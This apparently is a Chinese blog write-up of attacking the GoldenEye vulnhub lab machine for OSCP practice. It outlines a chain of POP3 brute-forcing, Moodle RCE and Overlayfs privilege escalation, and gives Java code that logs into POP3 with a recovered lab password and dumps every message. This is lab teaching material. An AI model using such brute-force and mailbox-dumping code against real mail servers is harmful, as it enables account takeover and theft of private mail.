前段时间在Freebuf上读到大佬的 《OSCP学习经验分享》 ,其中推荐了一些vulnhub上的靶机,笔者下载了排在其中第一位的GoldenEye靶机,并进行了一波渗透,编写了相应的漏洞利用程序(Exploit)。
鄙人学艺不精,但是对Java编程有所了解,参见了某国外大佬的 WriteUP ,写下了一套Exploit。
WriteUp中主要使用了简单的社会工程技巧来收集账户信息,暴力破解POP3口令,在邮件中检索信息最终登录站点超管账号,利用了Moodle2.2.3的拼写检查引擎来远程执行代码,最终利用 Overlayfs漏洞 成功提权,拿下root。
POP3(Post Office Protocol 3),是一种基于TCP协议的电子邮件协议,默认端口为110 。
POP3常用命令列表,更多命令请参见 POP3百度百科
USER <用户名> #指定要认证的用户名
PASS <密码> #输入密码
STAT # 请求邮箱的统计资料,如邮件总数和总字节数
LIST #列出邮件简略信息
RETR <编号> #请求编号对应的邮件正文
获取邮件正文主要过程如下
用户认证 -> 请求邮件统计信息 -> 读取所有邮件正文
因为POP3的认证过程比较简单,可以自己非常方便地编写一个爆破脚本,主要过程如下(比较简单,可以自己试着动手实现)
1.USER命令 指定用户名
2.PASS命令 验证密码
3.根据服务器响应,判断认证结果
4.STAT命令 获取邮件统计信息
5.RETR命令 遍历邮箱,下载邮件
这里用Java编写一个POP3类来实现邮件相关的操作
import java.io.*; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketAddress; public class POP3 { private Socket socket = new Socket(); //初始化一个Socket,后续建立网络连接 private BufferedReader br = null; private BufferedWriter bw = null; //连接到POP3服务器 public boolean connect(String host,int port) { try { SocketAddress sa = new InetSocketAddress(host,port); this.socket.connect(sa,5); //使用SA来连接,可以设置超时 //初始化br和bw用于输入输出 this.br = new BufferedReader( new InputStreamReader(socket.getInputStream()) ); this.bw = new BufferedWriter( new OutputStreamWriter(socket.getOutputStream()) ); System.out.println("[+] 连接成功"); return true; } catch (IOException e) { //e.printStackTrace(); System.out.println("[-] 连接失败"); } return false; } //用户认证 public boolean login(String user,String pass){ try { //读掉Banner br.readLine(); bw.write("USER " + user); //输入用户名 bw.newLine(); //回车 bw.flush(); //刷新缓冲区,使命令马上发送 if (br.readLine().toUpperCase().contains("OK")) { bw.write("PASS " + pass); //输入密码 bw.newLine(); bw.flush(); if (br.readLine().toUpperCase().contains("OK")) { //服务端返回OK+则成功 System.out.println("[+] 认证成功"); return true; } else { System.out.println("[+] 认证失败"); } } } catch (IOException e) { //e.printStackTrace(); System.out.println("[+] 认证异常"); } return false; } //下载邮件正文 public void dumpMail() { try { bw.write("STAT"); //请求邮件统计信息 bw.newLine(); bw.flush(); //获取邮件总数 int num = Integer.valueOf(br.readLine().split(" ")[1]); //遍历邮件 for (int i=1;i <=num;i++) { System.out.println("[+] 第"+ i +"封邮件"); bw.write("RETR " + i); //获取邮件正文 bw.newLine(); bw.flush(); String line = null; //读出邮件正文 while ((line = br.readLine()) != null) { if (!line.startsWith(".")) { System.out.println(line); } else { break; } } } } catch (IOException e) { e.printStackTrace(); } } }
在main方法中实例化POP3对象,下载邮件
public class Main { public static void main(String[] args) { POP3 pop3 = new POP3(); pop3.connect("192.168.180.130",55007);//靶机IP,端口 if (pop3.login("natalya","bird")){ pop3.dumpMail(); } } }
javac Main.java java Main
感谢阅读。POP3协议比较简单,爆破和进行一些自动化操作也比较容易,很适合新手拿来练手,深入地了解应用层协议的通信过程。SMTP协议的爆破请参考笔者高中时攥写的 另一篇文章 。